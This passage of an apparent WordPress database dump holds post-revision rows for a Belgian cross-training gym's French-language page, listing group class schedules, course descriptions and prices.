style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:53:51', '2013-07-03 16:53:51', '', 11, 'http://www.crosstrainingcenter.be/?p=177', 0, 'revision', '', 0),
(178, 1, '2013-07-03 17:01:04', '2013-07-03 17:01:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table class=\&quot;tabb\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:04', '2013-07-03 17:01:04', '', 11, 'http://www.crosstrainingcenter.be/?p=178', 0, 'revision', '', 0);
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(182, 1, '2013-07-03 17:05:17', '2013-07-03 17:05:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: 